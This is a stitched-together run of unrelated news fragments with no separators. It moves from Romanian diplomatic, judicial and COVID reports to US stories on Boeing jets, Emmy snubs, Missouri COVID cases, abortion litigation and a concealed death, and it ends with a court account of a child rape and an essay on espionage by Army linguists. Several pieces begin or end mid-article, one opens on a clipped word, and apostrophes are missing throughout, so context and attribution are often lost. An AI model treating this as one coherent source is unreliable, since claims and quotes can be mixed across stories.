"Our countries have faced this period together, continuing to strengthen and intensify bilateral relations. Our unique strategic partnership was renewed in October last year, opening up new areas of bilateral cooperation and shaping together the prospects for tomorrow's Europe. The European recovery plan, the green transition package approved today, or the debate on the future of Europe that you launched yesterday, Mr. President, are important axes of cooperation between our two countries," said Auer.According to her, "in the face of the pandemic, we have affirmed our European solidarity in the best possible way for the health of our citizens, but also for the economies of our countries."She also mentioned the participation of our country in the European operation Takuba in the Sahel."As we prepare for the French Presidency of the European Union, the decision made by Romania marks a decisive international commitment and I would like to thank you for this, on behalf of the French authorities. French-Romanian cooperation is essential for our security. In defence, but also in the fight against organized crime, we act together, with good results," added the ambassador.In her view, the European Recovery Plan, initialed by the agreement of July 21, 2020, marks a common desire for a Europe of solidarity, resilience, green, digital, focused on growth and jobs."In implementing this plan, the complementarity and interaction between the economies of our countries and the dynamics of French societies in bilateral relations are essential assets. (...) We want the structuring of industrial sectors, with strong potential, to continue," said Laurence Auer.She also highlighted decentralized cooperation among cities and regions, through projects aimed at sustainable development and the younger generation."At the same time, I am proud, after the end of the France-Romania season, to continue the project dedicated to the celebration, this year, of the 140th anniversary since the birth of the great composer George Enescu," added the French ambassador in Bucharest.
he Minister of Foreign Affairs, Bogdan Aurescu, on Wednesday welcomed the Ambassador of the Federal Republic of Germany in Bucharest, Cord Meier-Klodt, on the occasion of the latter ending his mission in Bucharest.

The head of Romanian diplomacy highlighted the "positive" and "solid" contribution of Ambassador Cord Meier-Klodt to the benefit of Romanian-German bilateral relations, which "became stronger and more dynamic, including by strengthening political dialogue at all levels and expanding sectoral cooperation," shows a press release of the Ministry of Foreign Affairs (MAE) sent to AGERPRES.

Bogdan Aurescu highlighted "the excellent bilateral relations, of strategic nature, between the two states, which are based on strong ties at interhuman, social and economic level, with Germany being for many years the first trading partner of Romania and the third investor in our country."The two officials reaffirmed their interest in increased coordination at European level, based on common interests and values.The meeting provided an in-depth exchange of views on the outcome, appreciated as very good by the two interlocutors, of the early parliamentary elections in the Republic of Moldova, held on Sunday, the Romanian Foreign Minister emphasizing that they "represent a clear victory of democratic and pro-reform forces and a proof of the maturity of the electorate, marking an important step in the Republic of Moldova's European path, a process that Romania has constantly and substantially supported and will continue to support."Aurescu also pleaded, in line with the message he presented at Monday's Foreign Affairs Council meeting in Brussels, that the EU and member states strongly support the efforts of the new government, the new parliamentary majority and President Maia Sandu aimed at reforming the state, including the administration, to strengthen the rule of law and to streamline the fight against corruption.He underscored that the coming years will represent an opportunity that must not be missed for the Republic of Moldova and equally for the EU to strengthen and advance the reform process and the European path of Chisinau, which can become a true model in this regard within the EU's Eastern Neighbourhood, which is of strategic importance.
President Klaus Iohannis said on Wednesday that the Romanian-French friendship is solid and the strategic partnership between Romania and France is strong and must be deepened in the spirit of European values that the two countries share.

"The Romanian-French friendship is solid and our strategic partnership is strong. It is our duty to deepen this friendship between our peoples, to develop and deepen our partnership, in the spirit of the European values we share," Iohannis told a French National Day reception party extended by the French Embassy.

He said July 14 was "the foundation of modern France and a crucial moment for Europe and the world.""The fall of the Bastille on July 14, 1789, which a central street in Bucharest reminds us of, marked, with the beginning of the French Revolution, the emergence of concepts that spread throughout the world: the rule of law, freedom, equality," said Iohannis.He pointed out that Romania and France, linked by a strong strategic partnership, enjoy a long-standing friendship."We have a connection rooted in history, which both Romania and France have been able to maintain and cultivate - and which today is geared towards the future. Sharing a common history and culture, the appreciation and inspiration of the Romanian elites in the relationship with France echo with the landmarks that facilitate our dialogue and mutual understanding today. And I am not referring here only to the institutional dimension of our co-operation, but to the multiple human ties established at all levels of our societies," Iohannis pointed out.Iohannis mentioned that since the beginning of the COVID-19 pandemic, Romanians and French have shown that solidarity exists and works."I was glad to learn that Romanians - doctors and directors of some medical and social facilities in France - were decorated by the French state for their essential contribution to the fight against the pandemic," Iohannis said.He added that the affinities between Romanians and French people "translate politically, economically, culturally, as well as academically, creating a virtuous circle of bilateral connections."The president indicated that one of the substantial components of the bilateral relationship with France is economic co-operation, pointing out that France is Romania's fourth largest trading partner, with trade of about 9 billion euros before the pandemic. He pointed out that collaboration in the cultural field continues, recalling the Romania-France season. He also mentioned that this year's Enescu Festival will be unfolding under the sign of Romanian-French friendship."On this occasion, I would like to welcome the cultural diplomacy initiatives and the various projects that will take place both in Romania and in France under the sign of the Enescu Year," Iohannis added.He also spoke about the Francophonie, pointing out that it is "a deep-rooted binder in our history," as the French language was introduced as early as 1776 in the education system in Bucharest."French remains the second foreign language studied in schools today, and Romania is the main French-speaking regional hub, a flagship state of Francophonie in Central and Eastern Europe," Iohannis added.The head of state specified that among the most solid pillars of the Romanian-French bonds is the firm attachment to a united, secure and prosperous Europe, indicating that Romania and France have a common vision about the importance of the European design and the European Union's policies."In the first half of next year, France will hold the rotating Presidency of the Council of the European Union and the first conclusions of the Conference on the Future of Europe will emerge. These two moments provide the ideal framework for principles such as unity, solidarity, cohesion, the desire for advancing the European design to be revalued to the befit of the entire union. We want to work together to turn this vision into concrete results that meet the expectations of European citizens," Iohannis said.
Justice Minister Stelian Ion asked himself on Tuesday, in a televised TVR dispute with the leader of UDMR (Hungarian Democratic Union of Romania) deputies, Csoma Botond, on the subject of the dissolution of the Section for the Investigation of the Crimes in Justice (SIIJ), which neighbouring country has an interest that Romania does not enter the Schengen area.

"We are not alone. We are partners in a European Union, in which we have entered voluntarily, accepting certain rules. In this European Union we must respect the treaties, the legislation. Here, we're going to get European money. If we do not respect the rule of law, if we do not respect and go down the road that Hungary, Poland have taken, where there are real problems with observing the rule of law, and there have been very clear alarm signals in this sense, and we are somehow distancing ourselves from our partners in the EU, we will have a big problem. It's possible that we may no longer draw European funds, the CVM (Control and Verification Mechanism) may not be lifted if we do not keep our promises that no one else has made but we have made by voting in Parliament in the programme of government. If the CVM is not lifted, we may not join the Schengen area. I wonder who has the interest among our partners or our neighbours for Romania not to join Schengen. (...) We must know very clearly what the consequences of our actions are and keep the promises that we have not made by force, we have willingly assumed: the dissolution of the SIIJ, the restoration of DNA [National Anti-corruption Directorate] competence," Stelian Ion said in a public television broadcast, agerpres reports.

"In 2017-18, the UDMR voted together with the PSD to establish the Special Section. Unfortunately they haven't changed this speech, they are still talking about abuses against citizens, judges, conducted by DNA. I say there was a speech and a permanent attack in those years against DNA," Stelian Ion said."UDMR argued that the magistrates need certain guarantees, in addition to the guarantees that all citizens have, and the amendment they supported was this one, which I consider very serious, because it breaks the competence of DNA. (...) The maintenance of the Special Section means a blow given to DNA, it means a blow given to the fight against corruption and this is against Romania's interests. (...) This issue of DNA abuses has been used for years in certain areas to affect this institution. (...) UDMR continues its 2017-18 speech with the PSD (Social Democratic Party). If they chose to join this coalition, they should have adapted to the situation. We do not accept the things that have happened in 2017-18, when Justice was simply trampled on, to take place in Romania. This Section was a stump thought by the PSD at the time, together with the UDMR and with whoever else supported it, against the magistrates. The rest are stories," Stelian Ion said.On the other hand, the leader of the UDMR deputies, Csoma Botond, told Stelian Ion to deal with the problems in Justice and not the situation in Hungary or Poland."I would ask the minister to look in his own backyard and be a minister in Romania, not to deal with the problems in Poland and Hungary, because he is not Minister of Justice in Poland or Hungary," said Csoma Botond.
New orders for Romania's manufacturing industry over January 1 - May 31, 2021 were 27 percent up in nominal terms from the same period in 2020 on the back of growth in the durables industry (+37.5 percent), the intermediate goods industry (+32.7 percent) and the capital goods industry (+27.0 percent), the National Institute of Statistics (INS) informs.

Conversely, new orders for the FMCG industry dropped 2.2 percent in the reporting period.

Compared to the previous month, new orders in the manufacturing industry sank 5.6 percent in May as a result of the decline in the durables industry (-11.7 percent), the capital goods industry (-9.5 percent) and the FMCG industry (-3.8 percent). The only category to grow this May were orders for the intermediate goods industry - with an advance of 1.6 percent.Year-on-year, new manufacturing orders increased 52.7 percent overall in May 2021 due to growth in the intermediate goods industry (+65.3 percent), the capital goods industry (+52.1 percent), the durables industry (+34.2 percent) and the FMCG industry (+12.6 percent).New industrial orders represent the value of contracts concluded in the reporting month between a producer and a customer and refer to deliveries of goods and services by the former, regardless of the period in which they are to be honored, taxes, rebates and discounts excluded.
The chairman of the Social Democratic Party (PSD), Marcel Ciolacu, stated, on Tuesday evening, that Prime Minister Florin Citu is using the money to be allotted in the budget revision to "buy" delegates' votes for the National Liberal Party (PNL) congress.

"They confuse this money with the money to use in an electoral battle within the PNL. It's obvious it's also illegal, it's abusive and totally immoral to do such a thing. We were used to things from Mr. Orban, who used certain budget revisions or Government decisions to allot money to PNL mayors as bribes, in order to obtain the votes of Romanians. Now, it's the next level. Prime Minister Citu, who is fighting Mr. Orban, is using the Romanians' money to buy votes from the delegates in the congress," said Marcel Ciolacu, at private broadcaster Romania TV.

He believes that President Klaus Iohannis should end this situation."We realize what situation they brought us in, ultimately, I don't even know, they're like clowns. When you see them with bodyguards at meetings, splashing water on each other, the bodyguards didn't recognize Orban. Where has Romania gone? From a circus and a desire of a country president, that of Mr. Iohannis, to have his own government. I don't understand why he does not intervene and say: I was wrong and this cannot go on like this," the PSD leader said.
The Minister of Justice, Stelian Ion, maintains that, by the decision given on Wednesday, Romania's Constitutional Court (CCR) dealt a "blow" to the fight against corruption and organized crime by not taking into account the opinion of those who "know the best which is the situation in the prosecutor's offices."

"The Constitutional Court today dealt another blow to DNA and DIICOT, i.e. the fight against corruption and organized crime. CCR did not take into account the opinion of those who know the best which the situation is in the prosecutor's offices and ignored the arguments of DNA and DIICOT, also supported by several associations of magistrates and the Prosecutor's Office of the CSM," Stelian Ion wrote on Facebook.

According to him, against the background of the already existing staff deficit in DNA and DIICOT, the CCR decision "closes the door" for younger prosecutors, well trained professionally, but who do not meet the 10-year seniority requirement "imposed by PSD Minister Florin Iordache."The section for judges of the CSM criticized, on Wednesday, the Minister of Justice, Stelian Ion, whom it accuses of launching "real attacks" against the judges of the Supreme Court, undermines the rule of law and of not having the capacity to leave a "militant and politicking" area.The members of the Judges' Section reaffirm that the thorough professional training, the real specialization and the professional experience acquired during the career represent strong guarantees able to prevent errors and to prevent violations of the law by the judiciary, regarding judicial freedom, of human dignity and private life.It should be noted that, while the CSM's Judges Section opposed the reduction of seniority for DNA and DIICOT prosecutors, while the CSM's Prosecutors Section took the opposite position.
President Klaus Iohannis had a telephone conversation with his Vietnamese counterpart Nguyen Xuan Phuc on Wednesday at the request of the Vietnamese official, announcing that Romania will donate 100,000 doses of COVID-19 vaccines to Vietnam.

According to the Romanian Presidential Administration, the conversation provided an opportunity for an exchange of views on the latest developments in and prospects for the bilateral relationship between Romania and Vietnam, including co-operation in combating the COVID-19 pandemic.

"The President of Romania thanked Vietnam for the solidarity it shown last year, when it donated medical supplies to Romania. President Klaus Iohannis announced that Romania will make a donation of 100,000 doses of COVID-19 vaccines to Vietnam," according to the Presidential Administration.In their conversation, the two presidents discussed the traditional ties between Romania and Vietnam, the political dialogue between the two countries, as well as their bilateral economic relations."Given the good bilateral relations, as well as the entry into force of the EU-Vietnam Free Trade Agreement, signed under the Romanian Presidency of the Council of the European Union, the two senior officials voiced interest the Romanian-Vietnamese co-operation being farther advanced by identifying new areas for bilateral co-operation, as well as by deepening multilateral co-operation to strengthen a global rule-based order, and also as part of regional initiatives such as ASEM (Asia-Europe Meeting) and the European Union-ASEAN (Association of Asian Nations) dialogue," the Presidential Administration also shows.
President Klaus Iohannis on Wednesday signed the decree on the decoration of two Romanian soldiers who were wounded during mission in the theatre of operations in Afghanistan.

According to the Presidential Administration, the head of state bestowed the National Medal "Faithful Service" 3rd Class, with war insignia, upon the troops, Corporals 3rd class Marian Marius-Cristian Canuci and Alexandru Marius-Bogdan Radu, as a token of "gratitude and appreciation of their professionalism, courage and spirit of sacrifice in carrying out their missions in the theatre of operations in Afghanistan, during which missions they were injured.
Chamber of Deputies Speaker and Liberal leader Ludovic Orban took today to Facebook to send a message on the National Day of France.

"July 14, France's National Day, is a day of celebration for us too. The homeland of freedom and of a great civilization we have been in love with for centuries, France is the country that took in and hosted the Romanians since the beginning of the 19th century. This is the country where generations of Romanian scholars, artists, scientists and statesmen have studied, discovered the Europe of Enlightenment and the Revolution, made friends among the most illustrious figures of culture and politics, found shelter from persecution and answers and encouragement in their fight for the modernization of Romania. For all this we are grateful to France, but especially hold a great love for it, which has endured even in the most difficult times. To us, French is one of the most important languages of culture, Paris is a Romanian city too where memory lanes follow the footsteps of so many great people of our country, France and Romania share a twinned history," Orban wrote, noting that "a prosperous future that we are building together awaits us."

"Happy birthday, France! Vive la France!," Orban wrote in the end of his message.
The Ministry of Environment will analyze the possibility of offering alternatives for waste disposal in Bucharest, in the context in which currently the only authorized location is managed by Eco Sud, said the Minister of Environment, Tanczos Barna.

"I came to see what solutions the minister can offer in deadlock situations. Today the capital city is captive in terms of waste storage. There is only one environmentally authorized location where waste can be placed and the ministry will analyze the possibility of offering alternatives to be able to store waste in other counties, if there is this possibility from an environmental viewpoint (...). The only authorized location is managed today by Eco Sud. This location has an environmental permit," Tanczos Barna said on Wednesday after participating in the working meeting held by the sector mayors, the general mayor of the capital city and the prefect of Bucharest on waste.

He mentioned that in the medium and long term strategy the Capital City Hall will have to offer an alternative, a solution that can be financed from European funds, agerpres reports.
Ambassador of the Kingdom of Thailand to Romania, His Excellency Chairat Porntipwarawet, visited on Wednesday the University of Oradea, declaring on this occasion that he will take the necessary steps for the institution to tighten its cooperation with Thailand's Rangsit University, one of the most famous in his country.

The cooperation will consist in the exchange of experience, teaching staff, students and everything research as regards bachelor, master's and doctor's degrees, the ambassador of Thailand.

The diplomat was greeted at the University of Oradea by Vice-Rectors Sanda Filip and Sorin Borza, together with the president of the University Senate Aurel Caus, who briefly presented him the history of the institution, the current relations with Thai universities (through Erasmus+ programs), the faculties and particularly the English language specializations offered by the Oradea academic institution.The University of Oradea has cooperation relations with 64 countries, and has 1,102 foreign students from EU and non-EU countries. Most come from the Nordic countries (Finland, Sweden, Denmark), others hail from Arab countries (Syria, Jordan); there are also 11 Thai final year medical students. Young people from Chad and Vietnam also enrolled in the new academic year."The Faculty of Medicine has the largest number of foreign students, around 750, but foreign student attendance is also high at Physical Therapy, International Relations and European Studies, Medical Physics and the newly introduced English language Robotics. The University also has more than 20 students in the preparatory year, who can then enroll in any specialty in Romanian. Other students have come through the Romanians Everywhere program," head of the University's 365 Admission Office Corina Ardelean told AGERPRES
As many as 9 deaths - 4 men and 5 women - in SARS-CoV-2 patients have been reported in the last 24 hours, including six from 2020 and early this year that were entered in the database by the public health directorates at the request of the Health Ministry, the Strategic Communication Group (GCS) informs Wednesday.

The deceased patients had been hospitalised in the counties of Arges, Ilfov, Iasi, and in Bucharest City.

Of these fatalities, one was in the 50 - 59 age range, two in the 60 - 69 age range, four in the 70 - 79 age range and two in people over 80 years of age.All the victims had known underlying medical conditions.Romania's COVID-19 death toll as of today stood at 34,242.
During the summer of 2015, and with their mother's permission, Skaggs took the girl and her brother with him on a road trip in his semi-truck.

During the trip, Skaggs and the minors stopped at a truck stop in South Dakota, where he provided alcohol to them. After consuming the alcohol, Skaggs raped the girl while her brother slept in the top bunk of the semi-truck.

When the minors returned home, interviews were conducted by a social worker with the Virginia Department of Social Services and an investigator with the Lee County, Virginia, Sheriff's Office.

During the interview, the girl said that Skaggs had asked if she wanted to have sex, and she said no. Skaggs then took off her clothes and his own clothes and held her down while having sex with her. The girl recalled trying to get Skaggs off of her but said he kept holding her down and covering her mouth so she could not scream to her brother.

In or around the fall of 2015, a medical examination concluded that the girl was pregnant. She gave birth to a child in the spring of 2016.

The FBI collected DNA samples from Skaggs and from the girl's child. The DNA test results indicated Skaggs was the child's father with a probability of paternity greater than 99.999%.
Smaller cities typically aim to support dozens or hundreds of remote-worker moves annually. That does not threaten Silicon Valleys dominance of tech, but it could allow California companies to become more diverse, and it might make them try harder to keep workers.

The cost-benefit dynamics are quickly shifting away from us, and this must be addressed, Jason Baker, senior vice president of transportation, health and housing at the tech industrys Silicon Valley Leadership Group, said in a statement.

And the numbers mean a lot for some towns and cities that have seen brain drains to larger metropolitan areas, said Prithwiraj Choudhury, associate professor at the Harvard Business School.

Tulsa Remote, which has helped relocate over 900 people since 2018, has received more than 23,000 applications this year, up from around 15,000 in all of last year, a trend echoed by smaller programs in Alabama and Arkansas. Relocation initiatives are redoubling efforts, and new ones, including Chicago, are joining in.

Its important that we move quickly and tap into this moment of reconsideration, said Erin Amico, chief operating officer at P33, a nonprofit that launched a campaign in May to bring tech talent to Chicago.
BERKELEY  One of the regions most important assembly lines won another vote of confidence from Washington on Tuesday.

Despite the Navys plans to stop buying new F/A-18 Super Hornets from Boeing at the end of September, U.S. House budget writers gave initial approval to a defense bill with nearly $1 billion for 12 more planes out of the hangars at Lambert Field.

If the plan holds, it would be enough to keep hundreds of Boeing workers busy making planes for the Navy for at least one year past the lines current 2024 expiration date and give the company valuable additional time to find foreign buyers that could extend the line further.

Boeing issued a statement Wednesday applauding the preliminary move.

As the annual budget process unfolds in Congress, we appreciate the early support from House Appropriators to ensure this critical program is funded and delivered, the statement read.

The Super Hornet is the Navys all-purpose workhorse, capable of hitting targets in the air, on land and at sea  and a big win for Boeings defense division.
Most of the best television these days comes via the limited series, a stone-cold fact that you know and I know but somehow has eluded the television academy, which still hasnt adjusted its Emmy nomination numbers to keep up with the times.

And that failure could only lead to one outcome when this years Emmy nominations were announced July 13: snubs.

Not true snubs, mind you. Voters arent actively shunning anyone. (Though this is Hollywood, so maybe I shouldnt underestimate the potential for pettiness.) Its just that there are too few slots for the amount of excellent work being done in the limited-series format.

So what shows and actors were snubbed? And, on a happier note, whos feeling glad all over now that the nominations have arrived? Lets take a look.

Snub: Small Axe (limited series)
I pass on extras such as fingerprint readers or super-slim design factors. These are nice but often add extra to the cost and are not essential. Also, if they wont need a ton of hard drive storage, dont spend extra on a larger internal storage drive. 128 to 256GB is probably enough if you are buying a model with a solid-state drive (SSD) as recommended above. Nothing over 1TB if it is a model with a hard drive. We recommend SSDs because they are more durable and less susceptible to hard drive failure.

For a kids school laptop expect to pay between the $350 to $600 range. There are a lot of options out there for under $500. Be mindful of checking the specs of a laptop under $350. They are cheap but might have low or older components that may shorten the life of the laptop. If you want a laptop that lasts longer than two years, you dont want to spend too little.

Take a look at this deal for an Asus VivoBook Touchscreen Laptop for $359 from The Microsoft Store.
It just shows us exactly what kind of beast we might be working with now, and it shows us that maintaining the mitigation is even more important in protecting the kids and the staff, she said.

Brzozowski said she is sympathetic to the need for schools to plan mitigation polices, but it may be premature.

Im really urging all of those schools to be patient so that we can learn from what were seeing this summer and learn from the day cares and learn from the summer camps, Brzozowski said. We can see what is going on with the variants. We want to see what the transmission looks like.

Cases continue to climb

New COVID-19 cases have increased in St. Louis County over the past two weeks by 58%, according to The New York Times tracking site. The city of St. Louis saw a 45% increase, and St. Charles County saw a 181% increase.

Statewide, Missouri saw the seven-day average number of new cases reach 1,525 on Tuesday, nearly double what it was two weeks ago at 823 and the highest level since Feb. 6.
St. Louis County Executive Sam Page said Wednesday he had grave concerns about the potential impact.

We are truly at a crossroads. We have a raging variant of a deadly virus and a vaccine that can prevent serious illness, Page said. The only way to slow the variant and to keep our hospitals from overflowing is to get more people vaccinated.

Page spoke at a news conference announcing the Sleeves Up STL initiative, which seeks to enlist beauty salons and barbershops in the northern part of the county  where the vaccination rate is 3.5 times lower than that in central county  to provide vaccine information to customers and encourage them to get inoculated.

The county also announced it is offering free rides to and from its vaccine clinics through an agreement with the ride-sharing service Via. For information, contact the health department at 314-615-2660.

Meanwhile, St. Louis Board of Aldermen on Tuesday endorsed a plan to offer gift cards as an enticement to get vaccinated.
Several other groups have submitted filings in support of South Carolina, including the Southern Baptist Convention and an anti-abortion group of obstetricians and gynecologists.

Attorneys for Planned Parenthood have not responded in court.

Actions by an even higher court could also dictate outcomes in this case. Lewis has said shes inclined to stay further motions following the U.S. Supreme Courts decision to take a case from Mississippi  which wants to enforce an abortion ban after 15 weeks of pregnancy. The court will likely hear that case in the fall, with a decision likely in 2022.

About a dozen other states have passed similar or more restrictive abortion bans, which could take effect if the U.S. Supreme Court were to overturn Roe v. Wade, the landmark 1973 court decision supporting abortion rights. Federal law supersedes state law.

More than 90% of abortions take place in the first 13 weeks of a womans pregnancy, according to the federal Centers for Disease Control and Prevention.

Opponents have argued many women do not know they are pregnant at six weeks, especially if they are not trying to conceive. And, they argue, with such an early deadline, the law gives women little time to consider whether to have an abortion.
FAIRVIEW HEIGHTS  A Fairview Heights woman was charged Tuesday with hiding the death of her mother and lying to police before a womans body was found in a bedroom in their shared home, according to court documents.

Reena S. Hayashi, 48, is facing felony charges of concealment of a death and obstruction of justice in connection with the death of her mother, Karen Hayashi, 80, whose body was discovered by officers Monday in the home the two shared in the 200 block of Oxford Avenue, according to Fairview Heights police.

A neighbor on Monday flagged down firefighters in the neighborhood who were performing maintenance on fire hydrants and said she was worried about her neighbor whom she hadnt seen for a long time, Fairview Heights officer Tim Mueller said Wednesday.

Reena Hayashi originally told police her mother had moved to Hawaii before they searched the home and found the body in a closed bedroom surrounded by air fresheners, Mueller said.

Were still trying to figure out when she died, but her body had been there well over a year, Mueller said.

Reena Hayashi is also accused in court documents of continuing to file taxes and receive her mothers Social Security benefits after her death.
The anti-Asian bias of the pandemic is on display, with a timeline including top government officials using anti-Asian slurs as names for the coronavirus and blaming China for its existence.

There's also a listing of various attacks that had Asian victims, like the shootings at spa businesses in Georgia in March, where six women of Asian descent were among the eight people killed.

In the center of the show are items collected by the museum showing how Asian Americans have tried to push back against bias in the past year, like photographer Mike Keo's series of images of Asian Americans sharing their identities with the hashtag, #IAMNOTAVIRUS.

Another piece is a collection of yellow whistles, which visitors are encouraged to take. Dr. Agnes Hsu-Tang and Oscar Tang founded the Yellow Whistle Project this year, offering the items as a security measure in case help is needed and making them yellow in a reference to how the color has been weaponized as a xenophobic slur against Asian Americans.

It was important to include both the history and the pandemic-related material, said Herb Tam, curator and director of exhibits at the museum.
Just because Pfizer wants to offer COVID-19 vaccine boosters doesnt mean people will be lining up anytime soon -- U.S. and international health authorities say that for now, the fully vaccinated seem well protected.

Globally, experts are watching closely to determine if and when people might need another shot. At the same time, many suggest the priority for the time being should be vaccinations, noting that worrisome coronavirus mutants wouldnt be popping up so fast if more of the U.S. and the rest of the world had gotten the initial round of shots.

If you want to stop hearing about the variant of the week, said Jennifer Nuzzo, a Johns Hopkins University public health specialist, we need to do more work to make sure all countries have more access to vaccines.

Here are some questions and answers about vaccine immunity and boosters.

WHATS PROMPTING ALL THE BOOSTER DEBATE?

U.S. health officials have long said that people one day might need a booster -- after all, they do for many other vaccines. That's why studies are underway to test different approaches: simple third doses, mix-and-match tests using a different brand for a third dose, or experimental boosters tweaked to better match different variants.
Grabowski's analysis of Medicare data indicates that nationwide, about 78% of residents and 56% of staff completed their vaccinations as of the week ending June 20.

Statistics posted by Medicare reveal big disparities between states. In Alaska, 91% of residents are vaccinated, but in Florida it's 69%. In Hawaii, 82% of staffers are vaccinated, but in New York it's 62% and in Louisiana, 42%. Staff vaccination rates are important because infected staffers can unwittingly bring the virus into a nursing home before they develop symptoms.

Within states, there can be big differences among counties, and even among nursing homes in the same community, said Terry Fulmer, president of the John A. Hartford Foundation, which works to improve care for older adults.

We now have a Delta variant and we could have a surge," said Fulmer. My concern is that residents will die and that staff will die, and it could have been prevented.

Medicare's parent agency, the Centers for Medicare and Medicaid Services, acknowledged in a statement that it has work to do. We are focused on making this data more consumer-friendly and easy to navigate," the agency said.
The company said globally it received over 14,500 requests for information from July 1 to Dec. 31, and it produced some or all of the information in response to 30% of the requests.

Such requests can include governments or other entities asking for the identities of people tweeting under pseudonyms.

Twitter also received more than 38,500 legal demands to take down various content, down 9% from the first half of 2020, It complied with 29% of the demands.

Twitter has been embroiled in several conflicts with countries, notably India over its new content regulations for social media. Last week, the company said it had hired an interim chief compliance officer in India and would appoint other executives to comply with the rules.

In the updated transparency report, Twitter said the number of impressions, or views of a tweet, that violated Twitters rules accounted for less than 0.1% of the total global views in the second half of 2020, the first time the platform has released such data.

The company said its technology is proactively identifying more than 65% of abusive content for human review, rather than relying on reports submitted by Twitter users.
Some things should be nonpartisan and always kept above the political fray. Things like eating turkey and pumpkin pie on Thanksgiving, believing that puppies are cute, viewing the Grand Canyon and treasuring its natural beauty, and what the word crisis means.

On Thursday, Gov. Mike Parson told reporters, We are all concerned about the spike in the delta virus, but trying to mislead people that we are in a crisis is totally misleading. We are not in a crisis mode.

This statement was made after it was reported that a federal coronavirus response team had been dispatched to Springfield. It was also reported days earlier, hospitals in Springfield had put the call out for ventilators and that St. Louis area hospitals were responding.

The Merriam-Webster dictionary lists three definitions for the word crisis. The first one is the turning point for better or worse in an acute disease or fever. Data coming out of southwest Missouri makes it clear that what is happening there definitely meets the dictionary definition of a crisis. The fact that our governor refuses to recognize the preventable loss of lives of Missourians as a crisis disappoints and angers me but hardly surprises me.
Clearly, there is enough money to go around to serve the politics of both powerful officials. But this contest seems to have devolved into a battle to not just win but also deny the opponent any kind of a victory.

The mayor compounded this divisiveness by needlessly antagonizing aldermen and largely shutting them out of her planning for her $81.4 million proposal, as 9th Ward Alderman Marlene Davis pointed out this week. Instead of getting broader aldermanic input, Jones issued an ultimatum to them on June 15: Approve her plan by July 1 or people will fall through the holes in our social safety net for absolutely no reason beyond a desire to score political points.

As Reed correctly pointed out, that timeline was unrealistic for such a large spending bill to be introduced, debated and passed within two weeks. He also correctly refused to hand Jones a blank check to disburse $500 payments to 10,000 low-income St. Louisans without imposing oversight provisions.

When Reed and aldermen had their turn at the bill, they kept most of Jones spending proposals intact but boosted the total to $168 million to address other pressing needs Jones overlooked.

Instead of reaching out to aldermen to seek compromise, Jones went on the attack. That strategy will not likely serve her well, either in the short or long run. She needs the Board of Aldermen on her side, not only for this fight but for lots of others to come in her four-year term.
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Mariam Taha Thompson, a U.S. Army Arabic linguist contractor, was sentenced to 23 years in prison for leaking identification information about 18 individuals who were key in making it possible to locate Iranian Quds leader Qassem Soleimani for the January 2020 UAV missile attack that killed him and several senior Iraqi associates. Thompson was arrested and charged with espionage two months after the Soleimani attack. She was detected accessing eight intel documents between December 30, 2019, and February 10, 2020. These documents contained names, personal data and photos of foreign sources of information. The 61-year-old linguist did not have a legitimate reason to look at those documents and apparently did not officially have access to those databases either. The investigation continued after her arrest to determine how she got access. Thompson was stationed at Erbil, in Kurdish Iraq at the time. The FBI searched her living quarters on an American base and found a document she had hidden containing personal information on three of the names she had viewed. She had passed this information on to a boyfriend who worked for the Lebanese Ministry of the Interior and had connections with Hezbollah. She had begun her data searches the day after U.S. airstrikes on the Iraqi branch of Hezbollah. Iran had ordered Hezbollah to find ways to strike back at the Americans. Thompson, who was born in Lebanon but moved to the U.S. and became a citizen, was charged with Delivering Defense Information to Aid a Foreign Government and could have been sentenced to life in prison.

Disloyal linguists and translators are not a new problem for the U.S. Army or the Department of Defense. After the invasion of Iraq in 2003, the United States military found its need for Arabic translators far exceeded its normal sources which involved training its own personnel. In addition to translators serving with American troops, there was a need for linguists to translate captured documents or recorded conversations. These linguists had to be American citizens so they could get a security clearance. In response, the Department of Defense established the Civilian Linguist Reserve. Those who qualified, in terms of skills and ability to get a security clearance, would be paid a monthly fee to be available in an emergency, to come work for the military. The Pentagon found a lot of civilian American Arabic speakers during the Iraq war who worked for contractors, or directly for the government, to provide translation services in the United States and Iraq. Many of these interpreters are already qualified for the Civilian Linguist Reserve. Same thing with Americans who could speak Afghan languages. Many more of these Afghan-Americans were sought to travel to Afghanistan and serve as interpreters. The pay was very good but there was some danger, and that discouraged some potential volunteers. For more than a decade the U.S. military has relied on these contractors to deal with the continuing shortage of Arabic and Afghan linguists.

For the troops, the problems were worse. By 2005 the army needed 6,200 translators, over 90 percent of them Arab speakers, the rest Afghan (the native Pushtu or Iranian dialect Dari). By 2006 it was up to 7,960 (7,200 Arabic and 750 Afghan). The Department of Defense could not train enough new military interpreters so it had to hire qualified American citizens as contractors and, in Iraq and Afghanistan, local people to serve as translators for the troops. That soon became more difficult in both Afghanistan and Iraq.

The problem was that the local terrorists realized the interpreters were important, and they could, well, terrorize the interpreters into quitting or, even better, becoming a spy. This obviously complicated things for the combat troops who needed the interpreters to get their work done. The solution has been to have the intelligence troops work closely with hiring and monitoring interpreters. These local interpreters were not U.S. citizens and thus unable to get a security clearance. As a result, less thorough screening methods had to be improvised on the spot.

In some parts of Iraq and Afghanistan, the interpreters were hired in secret, and much effort went into keeping their job status secret from the local community. Although the U.S. military has about 17,000 troops who speak languages like Arabic, Chinese, Farsi (Iran), Urdu (Pakistan), Hindi, and Korean, there simply aren't enough for operations in Iraq and Afghanistan.

It didn't take U.S. troops long to realize that the most dangerous intelligence job in Iraq was that of an interpreter. Hundreds were killed by terrorists, including several dozen who were American citizen contractors from the Civilian Linguist Reserve. Many of the Iraqi interpreters, and their families have been allowed to live on American bases, and some were offered permanent residence in the United States. Most of the interpreters regarded the death threats from terrorists as part of the job. It was a good job, paying far more than most other work available in Iraq. Starting salary for interpreters was $600 a month, going up to $1,000 or more for particularly dangerous or difficult assignments. The average monthly salary in Iraq in those days was about a hundred dollars.

The danger was considerable. While two out of every thousand American soldiers serving in Iraq was killed, some 30 out of every thousand translators died. There were proportionately fewer deaths in Afghanistan, where it was still a very dangerous job. For many interpreters, the job was more than a big paycheck. English speaking Iraqis also had a better idea of how things worked in the rest of the world and were eager to help Iraq overcome its gruesome past. Another way to get Arabic interpreters was to hire them from other Arab nations. This wasn't as easy as it sounds, because not a lot of these non-Iraqi Arabs can easily deal with the Iraqi dialect. But the money was attractive, and many linguists in nearby Arab nations learned the Iraqi dialect in order to get these jobs. There is also a feeling that Iraq would soon present many economic opportunities, providing less dangerous work for non-Iraqis who understand the Iraqi dialect. Some Arabic speaking Americans, after one tour in Iraq, came back to help with screening English speaking Arabs applying as interpreters.

